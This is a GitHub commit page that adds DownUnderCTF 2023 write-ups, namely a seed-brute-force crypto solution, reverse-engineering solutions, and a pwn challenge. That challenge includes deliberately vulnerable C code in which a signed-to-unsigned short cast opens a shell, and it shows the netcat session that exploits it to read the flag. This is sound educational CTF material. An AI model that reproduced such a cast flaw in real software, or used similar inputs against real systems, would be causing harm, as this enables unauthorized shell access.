-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
22 changed files
with
725 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
# DownUnderCTF 2023 | ||
|
||
 | ||
<br/>Credits [dctf23](https://capturetheflag.withgoogle.com/) | ||
|
||
## crypto | ||
|
||
[randomly chosen](crypto/randomly_chosen/README.md) | ||
|
||
## pwn | ||
|
||
[downunderflow](pwn/downunderflow/README.md) | ||
|
||
## web | ||
|
||
[proxed](web/proxed/README.md)\ | ||
[static file server](web/static_file_server/README.md)\ | ||
[xxd-server](web/static_file_server/README.md)\ | ||
[actually-proxed](web/actually_proxed/README.md)\ | ||
[grades_grades_grades](web/grades_grades_grades/README.md) | ||
|
||
## rev | ||
|
||
[the bridgekeepers 3rd question](rev/the_bridgekeeper/README.md)\ | ||
[All Father's Wisdom](rev/all_fathers_wisdom/README.md)\ | ||
[pyny](rev/pyny/README.md)\ | ||
[SPACEGAME](rev/spacegame/README.md) | ||
|
||
## misc | ||
|
||
|
||
## osint |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,55 @@ | ||
# DownUnderCTF 2023 | ||
|
||
## randomly chosen | ||
|
||
> Can you recover the flag from this random jumble of characters? | ||
> | ||
> Author: joseph | ||
> | ||
> [`randomly-chosen.py`](randomly-chosen.py), [`output.txt`](output.txt) | ||
Tags: _crypto_ | ||
|
||
## Solution | ||
We are offered with a python script and a textfile: | ||
|
||
```python | ||
import random | ||
|
||
random.seed(random.randrange(0, 1337)) | ||
flag = open('./flag.txt', 'r').read().strip() | ||
out = ''.join(random.choices(flag, k=len(flag)*5)) | ||
print(out) | ||
``` | ||
|
||
``` | ||
bDacadn3af1b79cfCma8bse3F7msFdT_}11m8cicf_fdnbssUc{UarF_d3m6T813Usca?tf_FfC3tebbrrffca}Cd18ir1ciDF96n9_7s7F1cb8a07btD7d6s07a3608besfb7tmCa6sasdnnT11ssbsc0id3dsasTs?1m_bef_enU_91_1ta_417r1n8f1e7479ce}9}n8cFtF4__3sef0amUa1cmiec{b8nn9n}dndsef0?1b88c1993014t10aTmrcDn_sesc{a7scdadCm09T_0t7md61bDn8asan1rnam}sU | ||
``` | ||
|
||
The output obviously is generated by the script and contains the flag but very scrambled. Manually assembling the flag from this output will not work. But since the RNG used is producting pseudo random numbers we can reconstruct the random choices by knowing the correct seed. Since the seed is in range 0-1337 the search space is small enough to try all possible seeds. | ||
|
||
For every seed we take random choices and remap the character indice from the output to get the original ordering. This is done for each and every seed (in range 0-1337) until we find a seed that gives the correct flag. | ||
|
||
```python | ||
import random | ||
|
||
data = open("output.txt").read() | ||
|
||
flag_len = len(data)//5 | ||
indices = list(range(0,flag_len)) | ||
|
||
for i in range(0, 1337): | ||
random.seed(i) | ||
out = random.choices(indices, k=flag_len*5) | ||
|
||
flag = [""]*(flag_len) | ||
for i, x in enumerate(out): | ||
flag[x] = data[i] | ||
|
||
flag = "".join(flag) | ||
if flag.startswith("DUCTF"): | ||
print(flag) | ||
break | ||
``` | ||
|
||
Flag `DUCTF{is_r4nd0mn3ss_d3t3rm1n1st1c?_cba67ea78f19bcaefd9068f1a}` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
bDacadn3af1b79cfCma8bse3F7msFdT_}11m8cicf_fdnbssUc{UarF_d3m6T813Usca?tf_FfC3tebbrrffca}Cd18ir1ciDF96n9_7s7F1cb8a07btD7d6s07a3608besfb7tmCa6sasdnnT11ssbsc0id3dsasTs?1m_bef_enU_91_1ta_417r1n8f1e7479ce}9}n8cFtF4__3sef0amUa1cmiec{b8nn9n}dndsef0?1b88c1993014t10aTmrcDn_sesc{a7scdadCm09T_0t7md61bDn8asan1rnam}sU |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
import random | ||
|
||
random.seed(random.randrange(0, 1337)) | ||
flag = open('./flag.txt', 'r').read().strip() | ||
out = ''.join(random.choices(flag, k=len(flag)*5)) | ||
print(out) |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,69 @@ | ||
# DownUnderCTF 2023 | ||
|
||
## downunderflow | ||
|
||
> It's important to see things from different perspectives. | ||
> | ||
> Author: joseph | ||
> | ||
> [`downunderflow.c`](downunderflow.c), [`downunderflow`](downunderflow) | ||
Tags: _pwn_ | ||
|
||
## Solution | ||
We are given the following executable plus code: | ||
|
||
```c | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <string.h> | ||
|
||
#define USERNAME_LEN 6 | ||
#define NUM_USERS 8 | ||
char logins[NUM_USERS][USERNAME_LEN] = { "user0", "user1", "user2", "user3", "user4", "user5", "user6", "admin" }; | ||
|
||
void init() { | ||
setvbuf(stdout, 0, 2, 0); | ||
setvbuf(stdin, 0, 2, 0); | ||
} | ||
|
||
int read_int_lower_than(int bound) { | ||
int x; | ||
scanf("%d", &x); | ||
if(x >= bound) { | ||
puts("Invalid input!"); | ||
exit(1); | ||
} | ||
return x; | ||
} | ||
|
||
int main() { | ||
init(); | ||
|
||
printf("Select user to log in as: "); | ||
unsigned short idx = read_int_lower_than(NUM_USERS - 1); | ||
printf("Logging in as %s\n", logins[idx]); | ||
if(strncmp(logins[idx], "admin", 5) == 0) { | ||
puts("Welcome admin."); | ||
system("/bin/sh"); | ||
} else { | ||
system("/bin/date"); | ||
} | ||
} | ||
``` | ||
The user is asked to enter a user index. The user index cannot exeed NUM_USERS-1 meaning we cannot login as admin. The index can be negative though. Since the index is casted to `unsigned short` we are able to enter larger values than NUM_USERS-1. We can just use `-65529` which is `-65536+7 === 7 mod 65536` (or really any other number that fits the equation). | ||
```bash | ||
─$ nc 2023.ductf.dev 30025 | ||
Select user to log in as: -65529 | ||
Logging in as admin | ||
Welcome admin. | ||
ls | ||
flag.txt | ||
pwn | ||
cat flag.txt | ||
DUCTF{-65529_==_7_(mod_65536)} | ||
``` | ||
|
||
Flag `DUCTF{-65529_==_7_(mod_65536)}` |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,36 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <string.h> | ||
|
||
#define USERNAME_LEN 6 | ||
#define NUM_USERS 8 | ||
char logins[NUM_USERS][USERNAME_LEN] = { "user0", "user1", "user2", "user3", "user4", "user5", "user6", "admin" }; | ||
|
||
void init() { | ||
setvbuf(stdout, 0, 2, 0); | ||
setvbuf(stdin, 0, 2, 0); | ||
} | ||
|
||
int read_int_lower_than(int bound) { | ||
int x; | ||
scanf("%d", &x); | ||
if(x >= bound) { | ||
puts("Invalid input!"); | ||
exit(1); | ||
} | ||
return x; | ||
} | ||
|
||
int main() { | ||
init(); | ||
|
||
printf("Select user to log in as: "); | ||
unsigned short idx = read_int_lower_than(NUM_USERS - 1); | ||
printf("Logging in as %s\n", logins[idx]); | ||
if(strncmp(logins[idx], "admin", 5) == 0) { | ||
puts("Welcome admin."); | ||
system("/bin/sh"); | ||
} else { | ||
system("/bin/date"); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,65 @@ | ||
# DownUnderCTF 2023 | ||
|
||
## downunderflow | ||
|
||
> We found this binary in the backroom, its been marked as "The All Fathers Wisdom" - See hex for further details. Not sure if its just old and hex should be text, or they mean the literal hex. | ||
> | ||
> Anyway can you get this 'wisdom' out of the binary for us? | ||
> | ||
> Author: pix | ||
> | ||
> [`the-all-fathers-wisdom`](the-all-fathers-wisdom) | ||
Tags: _rev_ | ||
|
||
## Solution | ||
For this challenge we are provided with an executable. Opening the executable in `Ghidra` we find the `main` which prints the flag but sadly exists before doing so. | ||
|
||
```c | ||
void main.main(undefined8 param_1) | ||
{ | ||
os.exit(0); | ||
main.print_flag(param_1); | ||
return; | ||
} | ||
``` | ||
|
||
The function `print_flag` loops over 59 items starting with `&local_1d8` and doing `xor 0x11` for each item. | ||
|
||
```c | ||
// ... | ||
local_1b0 = 0x31; | ||
local_1b8 = 0x24; | ||
local_1c0 = 0x24; | ||
local_1c8 = 0x31; | ||
local_1d0 = 0x25; | ||
local_1d8 = 0x25; | ||
local_1e8 = &local_1d8; | ||
length = 59; | ||
for (i = 0; puVar1 = local_1e8, offset = i, i < length; i = i + 1) { | ||
runtime.bounds_check_error("/home/pix/chal/main.odin",0x18,0x47,0x24,i,length); | ||
local_22c = *(uint *)(puVar1 + offset) ^ 0x11; | ||
local_228 = CONCAT88(0x4200000000000001,&local_22c); | ||
local_218 = CONCAT88(0x4200000000000001,&local_22c); | ||
local_208 = CONCAT88(1,local_218); | ||
fmt.printf("%c",2,local_218,1,param_1); | ||
} | ||
``` | ||
This can easily be reimplemented with python to get the flag. | ||
```python | ||
from Crypto.Util.number import long_to_bytes | ||
foo = [0x75,0x26,0x31,0x22,0x25,0x31,0x77,0x24,0x31,0x25,0x26,0x31,0x21,0x22,0x31,0x74,0x25,0x31,0x75,0x23,0x31,0x22,0x24,0x31,0x20,0x22,0x31,0x77,0x24,0x31,0x74,0x27,0x31,0x20,0x22,0x31,0x25,0x27,0x31,0x77,0x25,0x31,0x73,0x26,0x31,0x27,0x25,0x31,0x25,0x24,0x31,0x22,0x25,0x31,0x24,0x24,0x31,0x25,0x25] | ||
foo = foo[::-1] | ||
flag = "" | ||
for i in foo: | ||
flag = flag + chr(i^17) | ||
print(bytes.fromhex(flag)) | ||
``` | ||
|
||
Flag `DUCTF{Od1n_1S-N0t_C}` |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,54 @@ | ||
# DownUnderCTF 2023 | ||
|
||
## pyny | ||
|
||
> I've never seen a Python program like this before. | ||
> | ||
> Author: hashkitten | ||
> | ||
> [`pyny.py`](pyny.py) | ||
Tags: _rev_ | ||
|
||
## Solution | ||
We get this very small python code | ||
|
||
```python | ||
#coding: punycode | ||
def _(): pass | ||
('Correct!' if ('Enter the flag: ') == 'DUCTF{%s}' % _.____ else 'Wrong!')-gdd7dd23l3by980a4baunja1d4ukc3a3e39172b4sagce87ciajq2bi5atq4b9b3a3cy0gqa9019gtar0ck | ||
``` | ||
|
||
This looks strange, but can be run. | ||
|
||
```bash | ||
$ python pyny.py | ||
Enter the flag: asdasd | ||
Wrong! | ||
``` | ||
|
||
There's no trace of a flag... Wikipedia [`tells us`](https://en.wikipedia.org/wiki/Punycode). | ||
|
||
> Punycode is a representation of Unicode with the limited ASCII character subset used for Internet hostnames. Using Punycode, host names containing Unicode characters are transcoded to a subset of ASCII consisting of letters, digits, and hyphens, which is called the letter–digit–hyphen (LDH) subset. For example, München (German name for Munich) is encoded as Mnchen-3ya. | ||
By changing some random bytes with a hex editor python throws errors at us, by change it leaks the flag. | ||
|
||
```python | ||
('Correɝct£!' if ('En±terɡ thᰉe flag᥄: 'ᰉ) == 'ᤷDUɠCɚTF{%s}' % _.____ e᥌ɝlse °'Wrongᰈ!£')᥌ | ||
^^^^^^^^^^^^^^^^^^^^^^^^ | ||
NameError: name 'python_warmup' is not defined. Did you mean: 'pythonxwarmup'? | ||
``` | ||
|
||
On the other hand, we can use python to decode the code for us: | ||
```python | ||
code = open("pyny.py", "rb").read() | ||
code = code.replace(b"#coding: punycode", b"").decode("punycode") | ||
print(code) | ||
``` | ||
|
||
```python | ||
def ᵖʸᵗʰºⁿ_ʷªʳᵐᵘᵖ(): pass | ||
ᵖʳᵢⁿᵗ('Correct!' if ᵢⁿᵖᵘᵗ('Enter the flag: ') == 'DUCTF{%s}' % ᵖʸᵗʰºⁿ_ʷªʳᵐᵘᵖ.__ⁿªᵐᵉ__ else 'Wrong!') | ||
``` | ||
|
||
Flag `DUCTF{python_warmup}` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
#coding: punycode | ||
def _(): pass | ||
('Correct!' if ('Enter the flag: ') == 'DUCTF{%s}' % _.____ else 'Wrong!')-gdd7dd23l3by980a4baunja1d4ukc3a3e39172b4sagce87ciajq2bi5atq4b9b3a3cy0gqa9019gtar0ck |
Oops, something went wrong.